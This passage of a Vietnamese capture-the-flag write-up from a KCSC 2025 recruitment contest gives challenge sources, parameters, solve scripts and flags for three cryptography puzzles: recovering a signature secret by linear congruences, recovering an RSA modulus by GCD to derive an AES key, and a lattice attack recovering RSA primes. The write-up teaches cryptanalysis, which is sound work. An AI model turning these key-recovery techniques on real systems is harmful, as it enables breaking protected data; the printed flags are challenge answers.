                print(f'Here is your flag , cheater : {flag}')
                exit()

        print(f'Did you get what you wanted? ')
        print(f'If not, here is my gift for your : {f1ag}')

    main()
  • Quan sát source, ta biết rằng để có Flag thì phải gửi cho server giá trị đúng của khóa bí mật d, ta có công thức của khóa bí mật d như sau:

$$s \equiv ((m-d\times r)\times k) \pmod n \hspace{3mm} (1)$$

$$\Leftrightarrow d \times k \equiv (s - m \times k) \times (-r)^{-1} \pmod n \hspace{3mm} (2)$$

  • Lý do mình không nhân hai vế phương trình $(1)$ cho \(k^{-1}\) là vì $n$ có rất nhiều ước, nên giá trị \(\text{GCD(k, n)}\) thường không phải 1 nên không thể triệt tiêu $k$ được.

  • Giờ ta có phương trình $(2)$ là phương trình linear Congruence, tức là phương trình dạng \(A \times x \equiv B \pmod N\), nói sơ qua thì phương trình này có nghiệm khi và chỉ khi $B$ chia hết cho \(\text{GCD(A, N)}\).

  • Bổ sung thêm là phương trình \(A \times x \equiv B \pmod N\) có 1 nghiệm khi \(\text{GCD(A, N) = 1}\), và có $K$ nghiệm khi \(\text{GCD(A, N) = K}\), có thể xem cách giải ở đây. Ở Challenge này thì \(\text{GCD(A, N)}\) thường khác 1 nên phương trình sẽ có kha khá nghiệm.

  • Quay trở lại với Challenge thì phương trình $(2)$ của ta chưa có giá trị $k$ vì vậy ta sẽ tiến hành brute force $k$ để tìm lại giá trị $k$ ban đầu của server. Mình thấy rằng trong \(\text{GCD(k, N)}\) nghiệm của phương trình $(2)$ thì tất cả đều cho số rất lớn (xấp xỉ giá trị bit của n) trừ giá trị $d$ vì nó vẫn có kích thước 128 bit.

  • image

    Vì thế khi ta brute force trúng giá trị $k$ của Challenge thì ta sẽ lọc ra trong \(\text{GCD(k, N)}\) nghiệm đó giá trị nào 128 bit thì đó sẽ là giá trị $d$ của ta. Có $d$ thì gửi cho server và bài toán kết thúc.

  • Script:

    from Crypto.Util.number import GCD
    from tqdm import trange

    # nhận các tham số của Challenge, m là hash của 01
    n = 0x255601e1de9c4aa1c5d7ed41d6ba8084c3a4f9f18169ce7dfed3833f787cbed3ec7cc2225d0f6b49f0fe28b2fd159105f513a10013696501e487ac6221b6dd8fc45b8fc313608227c381430524a27301c90751d616d52d4b720400994d8bde35703207f22cdf18f8f89e17c8421daef31e43f1ae99a77687c25dee9405a4c205dace678a9b2de1d49b818e7b78cb68bafbd48d4c781d6b98bac90e002c08f8c578aceff78c4296deb7aa6e3a03a8790813b27b67b33288a2998adc24c3b0c7f14da0c00b9ff397463c5a2f64e98688635a344ab0f3b2795e20f8ff1e53c6f82f72a14ccca3182a2146919bde3a6b169342b0fb6be1632286d4e1070dcf4e6b0f
    m = 34356466678672179216206944866734405838331831190171667647615530531663699592602
    g = 0x902bf7a457553a6244bd9389ac2b48b9
    r = 0x17bd57cb11862d85c09f1ab44734f7184ac5909ba3eeeb18c439833ebeeed43b711c75fcf302e31c18303daaa34a889c0005ad445e3822f75a151be3f9b0ee0691bad93efcd9741cb60fbea3b496cb321490fe696805abf958cb13b28429489214eeb2550b12876512dbc4fc20ee7ed72da896eca35e19fab9f6f45c8a46f8eedc50aea293ab1caac85a559804855aaa4a89a696225de33f099bdb7c67944e4ecb2e2d36427011f353acf2e21ad49f30519717fb373c819c0670e14d252570bd5e8ec454a861fe516bbcaee8664a61f0540f8068b5e9d427a7b34e191f4c3aa4d3bc05426f00a4fb4cf3d74afa8ad6f70797b9d01923b939ea1fc8d7fd8ca1f7
    s = 0xd56b8e0333b99b04cab487c1f54b1c8d4737b7ad1b1a2a19d972dc5cbca018596a6d529c5b07bf5dbd1c4eca998a26fa464c5f83eee7b50fc5bb6338633f9cca9e12fd53b6976f4394ceee049f2548f8be0679436ba2a4d845d5dbebfb0b16d2b97aad64d189dbd0a1197b6e6f0535b09641a9f1c6e950a12e0503090d170988204b806db26947fc3a652ebc45af35d4d2a8484ef90182638983cabbec2ad2eb85eefc6488630d27d3751802c7ee37bd6faa69686f85fc7a02844f421ee2bf60d5aff06c554c959d3b6eb30063ebca2edb149330fc04cfe7c7789f3a36ecc31cd985d0b7b1f78eea2f2b78c0b6ff30f68162c8073fd04ac88547fcf8610095f

    # https://www.geeksforgeeks.org/solve-linear-congruences-ax-b-mod-n-for-values-of-x-in-range-0-n-1/
    def ExtendedEuclidAlgo(a, b):

        # Base Case
        if a == 0 : 
            return b, 0, 1

        gcd, x1, y1 = ExtendedEuclidAlgo(b % a, a)

        # Update x and y using results of recursive
        # call
        x = y1 - (b // a) * x1
        y = x1

        return gcd, x, y

    def linearCongruence(A, B, N):

        A = A % N
        B = B % N
        u = 0
        v = 0

        # Function Call to find
        # the value of d and u
        d, u, v = ExtendedEuclidAlgo(A, N)

        # No solution exists
        if (B % d != 0):
            print("B mod gcd(k, n) != 0")
            exit()

        # Else, initialize the value of x0
        x0 = (u * (B // d)) % N
        if (x0 < 0):
            x0 += N

        # Pr all the answers
        for i in range(d):
            solutions.append((x0 + i * (N // d)) % N)

    # phương trình của ta là:
    # x*k = ((s - m*k) * pow(-r, -1, n)) % n

    found_d = False
    for k in trange(1, 2**20):
        if found_d: break
        solutions = []
        B = ((s - m*k) * pow(-r, -1, n)) % n

        if B % GCD(k, n) == 0:
            linearCongruence(k, B, n) # giải pt
            for i in set(solutions):
                if i.bit_length() <= 129:
                    print(f"{k = }")
                    print("d =", i)
                    found_d = True
                    break
    # k = 41600 
    # d = 299333094175056122872226309457434950402
  • Flag của ta:

image

Icecream but easier (easy/medium)

  • Source:
    from Crypto.Util.number import *
    from hashlib import sha256
    from Crypto.Cipher import AES
    from secret import flag
    from Crypto.Util.Padding import pad 

    # Copy from Wannagame Championship 2024
    class IceCream:
        def __init__(self, nbit: int):
            self.p = getPrime(nbit//2)
            self.q = getPrime(nbit//2)
            self.n = self.p * self.q
            self.phi = (self.p - 1) * (self.q - 1)
            # self.e = getPrime(16) # a harder version
            self.e = 10001
            self.secret1 = getPrime(384)
            self.secret2 = getPrime(384)
            self.d = inverse(self.e, self.phi)

        def wrap(self):
            c = pow(self.secret1, self.e, self.n)
            c += self.secret2
            self.secret1 = c 
            return c 


    def main() :

        cart = IceCream(512)
        for _ in range(4) :
            print(cart.wrap())

        key = sha256(str(cart.wrap()).encode()).digest()[:16]
        cipher = AES.new(key,AES.MODE_ECB)

        print(cipher.encrypt(pad(flag,16)).hex())


    main()

    """
    983988808468238406815261032742287398509539527772118186899154605157252213084385662543553125083212552614855410938487363846612472902230851873122019688775351 
    411920476721397965776323967885506259683504493586810231951685564745710311651646483406456114404428768195904417807999931167817184410508419226228074455888655
    4698285906809496129283017525468414276062165111247080417389967682278838749600348577192449627647158658589122409242574072399131912703350920146158705409829488
    2355255751438494111558900855149710130746636811000805924350928855795353027981395558758632216685403335142820213370399046347758646897427052652845539550759589
    b83519144a6ec70cf1d97e7b2bb952036e77260cac361ed742a190b3dddd1954717c41c8d8baaff729245b9a80e70e52d13150d59e12b6840f590102cb8a0891
    """
  • Quan sát source thì mình thấy rằng Flag của ta được mã hóa bằng AES và key của ta được tính từ key = sha256(str(cart.wrap()).encode()).digest()[:16], vậy ta sẽ tiến hành đi phân tích hàm wrap() của class IceCream.

  • Gọi secret1 là \(s_1\), secret2 là \(s_2\), hàm wrap() của ta có chức năng tính toán một giá trị $c$ như sau:

$$c = (s_1^e \mod n) + s_2$$

  • Và sau đó nó gán giá trị của $c$ vừa tính được cho \(s_1\) và lặp lại quá trình tính toán trên. Vì Challenge lặp hàm wrap() 4 lần nên ta có 4 phương trình như sau:

$$c_1 = (s_1^e \mod n) + s_2 \hspace{5mm} (1)$$

$$c_2 = (c_1^e \mod n) + s_2 \hspace{5mm} (2)$$

$$c_3 = (c_2^e \mod n) + s_2 \hspace{5mm} (3)$$

$$c_4 = (c_3^e \mod n) + s_2 \hspace{5mm} (4)$$

  • Bây giờ yêu cầu của Challenge chính là tính được chính xác giá trị tiếp theo là \(c_5\), công thức như sau:

$$c_5 = (c_4^e \mod n) + s_2$$

  • Ta cần tìm \(s_2\), đã có giá trị của \(c_4\), \(c_3\) và $e$, tính giá trị của \(s_2\) như sau:

$$s_2 = c_4 - (c_3^e \mod n)$$

  • Có được \(s_2\) thì ta thay vào phương trình $(1)$ là có \(c_5\), bài toán kết thúc. Nhưng mà chúng ta chưa có modulus $n$. Vậy việc cần làm đầu tiên là tìm lại modulus $n$.

  • Đầu tiên ta lấy phương trình $(3)$ trừ phương trình $(2)$ và lấy phương trình $(4)$ trừ phương trình $(3)$ được hai phương trình như sau:

$$c_3 - c_2 = c_2^e - c_1^e \mod n$$

$$c_4 - c_3 = c_3^e - c_2^e \mod n$$

  • Chuyển vế phải sang và bỏ phép \(\mod n\) ta được hai phương trình sau:

$$c_3 - c_2 - (c_2^e - c_1^e) = 0 + k_1 \times n \hspace{5mm} (*)$$

$$c_4 - c_3 - (c_3^e - c_2^e) = 0 + k_2 \times n \hspace{5mm} (**)$$

  • Vì đã có các giá trị \(c_2, c_3, c_4\) nên khi ta tính $GCD$ của biểu thức \((*)\) và \((**)\) thì ta sẽ có ước chung là giá trị $n$, bài toán kết thúc.

  • Script:

      from Crypto.Util.number import *
      from hashlib import sha256
      from Crypto.Cipher import AES
      from Crypto.Util.Padding import pad 
    
      e = 10001
      c1 = 983988808468238406815261032742287398509539527772118186899154605157252213084385662543553125083212552614855410938487363846612472902230851873122019688775351 
      c2 = 411920476721397965776323967885506259683504493586810231951685564745710311651646483406456114404428768195904417807999931167817184410508419226228074455888655
      c3 = 4698285906809496129283017525468414276062165111247080417389967682278838749600348577192449627647158658589122409242574072399131912703350920146158705409829488
      c4 = 2355255751438494111558900855149710130746636811000805924350928855795353027981395558758632216685403335142820213370399046347758646897427052652845539550759589
      ct = "b83519144a6ec70cf1d97e7b2bb952036e77260cac361ed742a190b3dddd1954717c41c8d8baaff729245b9a80e70e52d13150d59e12b6840f590102cb8a0891"
    
      n1 = c3 - c2 - (pow(c2, e) - pow(c1, e))
      n2 = c4 - c3 - (pow(c3, e) - pow(c2, e))
    
      n = GCD(n1, n2)
      s2 = (c4 - pow(c3, e, n)) % n
      c5 = pow(c4, e, n) + s2
      key = sha256(str(c5).encode()).digest()[:16]
      cipher = AES.new(key, AES.MODE_ECB)
      print(cipher.decrypt(bytes.fromhex(ct)))
    

Flag: KCSC{1_607_570m4ch4ch3_b34c4u53_347_700_much_1c3cr34m}

Crypto 2 (hard)

  • Source:

      from Crypto.Util.number import *
      from os import urandom
    
      flag = b"KCSC{fake_flag}"
      padding = urandom(1000 - len(flag))
      flag = padding[: (1000 - len(flag))//2] + flag + padding[(1000 - len(flag))//2 :]
    
      p = getPrime(1024)
      q = getPrime(512)
      e = 0x10001
    
      n = p * q
      c = pow(bytes_to_long(flag), e, n)
    
      key = q
      ks = []
      noises = []
    
      for i in range(15):
          noise = key + 3*i + 5
          noise_inv = inverse(noise, p)
          k = (noise_inv * noise - 1) // p
    
          ks.append(k)
          noises.append(noise_inv % 2**562)
    
      with open("data.txt","w") as f:
          f.write(f"{n = }\n{noises = }\n{ks = }\n")
    
  • data.txt

      c = 958390793518378697087296421800510334363447372842473258361270888061359845988062617160847787493538009149015476122598987518417419094843072448103313497164473296044057151262149271633030868336861854949936583056107714557666720454320727670426024759878104055294508600827276053390768097909341499650595336630811407938767958056612000718155852086280949620705266088823405319610741770144481342370840316322962959361700770145395482234905665577476137556580613854059161166908076563
      noises = [7855711876569802238862413165275600906813725762035718788939102158061380227877261762058163252276012974919613869744386471326379360599551714048814350682844653203632596811700, 11016762668854429203921748552171961540330601718050664348323205797201647566906360457303813510699134610808048666995818660000595371281648507789977635794049527374670915074820, 11546537801915447264802137334545592446958309083548637512152243512181257950929398818955898367116157381845553377528332628838810077828034595899755565832327915425781910578439, 14830729778111523754153466930320460677549254575098428551135275406990012856666239121852688775241624133868906117915735977555517436901488865149110824895148729747382400302735, 12907187256704172729107731584833713827465378465099977282577640066526827100848547817920519272964340115432388355503430889687196818282392932653498115462633041044503277974348, 12138846625255592521563612083084082981604248578123108209967521720915214134631110004822440010797002143437417645081236617079726153719130327393125423457708193164785079343086, 739523797727999924234547033495024454536077879042322224023692246011372669433295815544499023380041352962654821966906221244535621757121658976493022103991684410944260441162, 10912720975459354397739596143674407139194119895970368719866752943212477569655440757739848406867091021804581233694510089684679552007293849432444225461324183971137511847850, 5808807130421099726863129210954911380673640771955929374201995801529194903892832719794393448564558695251305267337407921976623897457446026039650140168312597722101737867377, 6870714010059053187003558056421661621211755459105144640275368103761664542845966933600910306834129475974876509027992589543452526949905158943937805162971925181177623545706, 14001977026303213753344771778959822998356523953467938417570588825474587458038917314981845799115762940916991783878210493664223158815126302912780685563402149348230275770190, 2703973027755031256526864275850359824471693408893668839490715558453757417896110268005975650433171168484478679910175856477619764900062649145928051355223654355802268429828, 2197799411096076134244174423868396977861502716614420367844698041028287534815946837970931537722713608970852047499736568341768228551190841854816687141278293724986033804833, 6075559627298470723737160139773692997034806166978942024860600924417526676075369730013184451780131430065519578644230326849609926904745308079312413920535221565905507405787, 6192265537641579777321105222372552667784798470028740666393274098101434097162631461434169230747053524655097972801202035288143826479354640729278654236265719132207498664412]
      ks = [188342419899480149536884744017610449040092383019272248788959474691994413969719059118388685743603155504636227720165256840721069157015807449049211460253193, 2524032492075863404568209983324668522574966560976022920474303041695931745292134024805133065252540879869398798070277250051370058237130781549140268588979741, 3668089499830133831067934187396832654741712179290611321105361394043708714207354289456329073317267896181461996357656482682562832756019136386463281668147597, 787787910858589886444577841106414412143077182871445558404189242413347285556605603096222171073736492222727597718358413446678740896394491930381038665121984, 5969746486150167662037133056426653272095571564362080467447908647771862414810883039477641097271866604770772719228490891456621179456874478543312762101011945, 3953217233915265744392631383349005252504986319285163722465977735607534480220118278786439611479721354895554188803942058684275260525947213712273507161369083, 4703008646650559151263915675980342869678582333983285387772678033375440253018051362888097872035173512023181428217784439917007569473323902339013784947548817, 4501690793684706714453057890878006909948693156550389759496860753395691942571265613093123643690372231103171045523407714153581252263042363624513611315744787, 2874911234935885776724870513977581714604232366383062929938550655871436461399856184577119939177694657465354516516047758735724966092696982807333754161121763, 6807368946443140675648934273041372592283914654163350087761898286033102359032462642892185826153908771772176615450328348070881136865613927396914213307028823, 278211494072033197885754804219785966600017003124368934336640552995267695544391267083052940908660042483493904705872074416528235534610757303534430447847433, 1558365191956305255182334966416705368442755011866281958336373678292946152152443736046507333024441976071233683858273758166768326012234742351338218885065893, 3485367897376122736793872341240247397026215356530797459918379349421401150937114097374676678036857389576159611944092267415794839255765051218093322919755447, 2515456897351178494301823923332414671089420746643455306358829413922283380911750878593348268259769997426299206977825772717836168569349433038297458642933154, 4092447245860483948794687799772397211468262697039308695517969469204107269630882626451514975266106190665554492836842864230426192321181584429136242874419201]
    
  • Một Challenge khó về Lattice, mình cũng chưa thể hiểu tường tận Lattice nên nếu bên dưới mình có nhầm lần hay ghi gì chưa đúng thì các bạn nhắc mình nha.

  • Trong khi giải diễn ra thì mình không làm được bài này nên sau khi giải kết thúc mình có thao khảo Wu của anh @nomorecaffeine để làm theo, anh giải thích rất chi tiết nên mình thấy bài này rất hay và dễ hiểu, sau đây là wu của mình về những gì mình hiểu.

  • Đọc sơ qua source thì mình thấy rằng Flag được mã hóa bằng RSA với mũ \(e = 65537\) nên ta phải tìm được hai số nguyên tố \(\text{p,q}\) thì mới giải mã \(\text{c}\) được.

  • Source cho ta các dữ kiện sau:

$$\begin{split} \text{noises} &= [\text{noise}{\text{inv256_0}}, \text{noise}{\text{inv256_1}},\text{noise}{\text{inv256_2}}, \dots, \text{noise}{\text{inv256_14}}]\\ \text{ks} &= [\text{k}_0,\text{k}_1, \text{k}2, \dots, \text{k}{14}] \end{split}$$

  • Phân tích đoạn sau:

      key = q
      ks = []
      noises = []
    
      for i in range(15):
          noise = key + 3*i + 5
          noise_inv = inverse(noise, p)
          k = (noise_inv * noise - 1) // p
    
          ks.append(k)
          noises.append(noise_inv % 2**562)
    
  • Biết được công thức \(\text{noise}_{\text{inv256_i}}\) là:

$$\text{noise}{\text{inv256_i}} \equiv \text{noise}{\text{inv_i}} \pmod {2^{562}} \hspace{5mm} (*)$$

  • Giá trị \(\text{k}_{\mathbf{i}}\) là:

$$\text{noise}{\text{inv_i}} \times \text{noise}{\mathbf{i}}= 1 + \text{k}_{{\mathbf{i}}} \times \text{p} \hspace{5mm} \forall \mathbf{i} \in \left\{ 0,1,2,\cdots 14\right\} \hspace{5mm} (**)$$

  • Ý tưởng của tác giả là phải tìm được \(\text{p}\) và \(\text{q}\) thông qua các phương trình \((**)\)

  • Có hai mục tiêu ta cần phải làm đó là tìm p và tìm q, phải tìm cả hai vì Challenge chưa cho n. Ta sẽ dựa vào phương trình \((**)\) để đi tìm q trước.

  • Đầu tiên, từ \((*)\) Ta biến đổi giá trị của \(\text{noise}_{\text{inv}}\) thành:

$$\text{noise}{\text{inv_i}} = \text{noise}{\text{inv256_i}} + \text{a}_{\mathbf{i}} \times 2^{562} \hspace{5mm} \forall \mathbf{i} \in \left\{ 0,1,2,\cdots 14\right\} \hspace{5mm} (1)$$

  • Tiếp theo mod giá trị của \(\text{p}\) với \(2^{562}\) và bỏ phép mod, ta được:

$$\text{p} = \text{p'} + \text{b} \times 2^{562} \hspace{5mm} (2)$$

  • Thế cả $(1)$ và $(2)$ vào phương trình \((**)\) được:

$$(\text{noise}{\text{inv256_i}} + \text{a}{\mathbf{i}} \times 2^{562}) \times \text{noise}{\mathbf{i}} = 1 + \text{k}{{\mathbf{i}}} \times (\text{p'} + \text{b} \times 2^{562})$$

  • Phân phối, chuyển vế các giá trị chứa \(2^{562}\) sang bên trái, ta được:

$$\text{a}{\mathbf{i}} \times \text{noise}{\mathbf{i}} \times 2^{562} - \text{k}{{\mathbf{i}}} \times \text{b} \times 2^{562} = 1 - \text{noise}{\text{inv256_i}} \times \text{noise}{\mathbf{i}} + \text{k}{{\mathbf{i}}} \times\text{p'} \hspace{5mm} (***)$$

  • Sau đó ta mod hai vế cho \(2^{562}\) và được phương trình mới:

$$1 - \text{noise}{\text{inv256_i}} \times \text{noise}{\mathbf{i}} + \text{k}_{{\mathbf{i}}} \times\text{p'} \equiv 0 \pmod {2^{562}}$$

$$\Leftrightarrow 1 - \text{noise}{\text{inv256_i}} \times (\text{q} + 3 \times \mathbf{i} + 5) + \text{k}{{\mathbf{i}}} \times\text{p'} \equiv 0 \pmod {2^{562}} \hspace{5mm} \forall \mathbf{i} \in \left\{ 0,1,2,\cdots 14\right\}$$

  • Đây là một phương trình modulo có hai ẩn là \(\text{q}\) và \(\text{p'}\), và có đến 15 phương trình nên việc giải hệ này là khả thi.

  • Có nhiều cách giải hệ nhưng mình sẽ thử cách mới mà hồi giờ chưa dùng đó là sử dụng phương thức groebner_basis() của thư viện sagemath, dùng để đơn giản tập sinh của một Ideal trong vành đa thức. Hay có thể hiểu là nó giúp đơn giản hóa phương trình ban đầu và biến nó thành một phương trình đơn giản, dễ giải hơn.

  • Code:

      from sage.all import *
      x, y = PolynomialRing(Zmod(2**562), ["x", "y"]).gens()
    
      I = Ideal([
          1 - noises[0] * (x + 5) + ks[0] * y,
          1 - noises[1] * (x + 8) + ks[1] * y,
          1 - noises[2] * (x + 11) + ks[2] * y
      ])
      print(I.groebner_basis())
      #[x + 15095849699286157176165192141574519938693899918427427740708979667686108913040888895928594081761428218515984585906870777122468994835321959450919640276403457857023062016735, y + 8046359343118037782228277823598020857453001371030183803247456593467443731321455063833959619491793509652535546439016536857407146846080157709770883346704338364262578059073]
    
  • Có thể thấy là hệ phương trình của ta đã được đơn giản hóa thành dạng \(x + a \equiv 0 \pmod {2^{562}}\) và \(y + b \equiv 0 \pmod {2^{562}}\) để có \(\text{q}\) và \(\text{p'}\) ta chỉ cần tính:

$$\left\{\begin{matrix} \text{q} = 2^{562} - a \\ \text{p'} = 2^{562} - b \end{matrix}\right.$$

Vậy là tính được $q$ rồi, mục tiêu tiếp theo là tìm $p$

  • Có \(\text{q}\) và \(\text{p'}\) thì ta sẽ đi tìm \(\text{b}\), vì \(\text{p} = \text{p'} + \text{b} \times 2^{562}\) nên ta chỉ cần đi tìm \(\text{b}\) là có \(\text{p}\).

  • Đặt \(\text{noise}_{\mathbf{i}} = n_{\mathbf{i}}\). Dựa vào phương trình \((***)\) ta lập được một cơ sở Lattice như sau:

$$M = \begin{pmatrix} -k_0 \cdot 2^{562} &-k_1 \cdot 2^{562} &\cdots &-k_{14} \cdot 2^{562} &1 & & & & &\\ n_0 \cdot 2^{562} &0 &\cdots &0 & &1 & & & &\\ & n_1 \cdot 2^{562} &\cdots &0 & & &1 & & &\\ \vdots &\vdots &\ddots &\vdots & & & & \ddots & &\\ & &\cdots &n_{14} \cdot 2^{562} & & & & &1 & \\ -v_0 &-v_1 &\cdots &-v_{14} & & & & & &1 \end{pmatrix}$$

Với vi là vế phải của phương trình \((***)\).

  • Sau khi áp dụng LLL với ma trận M, ta sẽ được một vector chứa 32 phần tử như sau:

$$[0, 0, \dots, 0, \text{b}, a_0, a_1, \dots, a_{14}, 1]$$

Giá trị b sẽ nằm ở index thứ 15.

  • Code:

      from sage.all import *
      from Crypto.Util.number import *
    
      M = []
      vs = []
    
      q = 8232801026182378555624973784963238333972795845533296387736527706512415912818949206851649888914216184602476613343684377211079326096729327326317574519291169
      p_ = 7049490356168127626737940500355054706214683510635577910257368607515052918247140344510547281218841560513337953684038842741675191673619012820474853659026445810335003248831
    
      assert is_prime(q)
    
      M.append([-ks[i] * 2**562 for i in range(15)])
    
      for i in range(15):
          d = q + 3 * i + 5
          v = -(1 - d * noises[i] + ks[i] * p_)
          vs.append(v)
    
          row = [0]*(15)
          row[i] = d * 2**562
          M.append(row)
    
      M.append(vs)
    
      M = matrix(M)
      M = M.augment(identity_matrix(17))
      L = M.LLL()
    
      print(L[0][15])
    
  • Giá trị \(\text{b}\):

    image

  • Có \(\text{b}\) là có được \(\text{p}\) rồi, ta sẽ tính được khóa bí mật \(\text{d}\) và bài toán kết thúc:

      from Crypto.Util.number import *
      b = 9973918226342931101713742759510102202832949751016016433335951379486864420606419272916855340660179601297616652770791167118160222182913331004
      p_ = 7049490356168127626737940500355054706214683510635577910257368607515052918247140344510547281218841560513337953684038842741675191673619012820474853659026445810335003248831
      q = 8232801026182378555624973784963238333972795845533296387736527706512415912818949206851649888914216184602476613343684377211079326096729327326317574519291169
      c = 958390793518378697087296421800510334363447372842473258361270888061359845988062617160847787493538009149015476122598987518417419094843072448103313497164473296044057151262149271633030868336861854949936583056107714557666720454320727670426024759878104055294508600827276053390768097909341499650595336630811407938767958056612000718155852086280949620705266088823405319610741770144481342370840316322962959361700770145395482234905665577476137556580613854059161166908076563
      e = 65537
    
      p = p_ + 2**562 * b
      assert isPrime(p) and isPrime(q)
    
      n = p*q
      d = pow(e, -1, n-p-q+1)
    
      print(long_to_bytes(pow(c, d, n)))
    
  • Flag:

    image

Write Up Tuyển Thành Viên KCSC 2025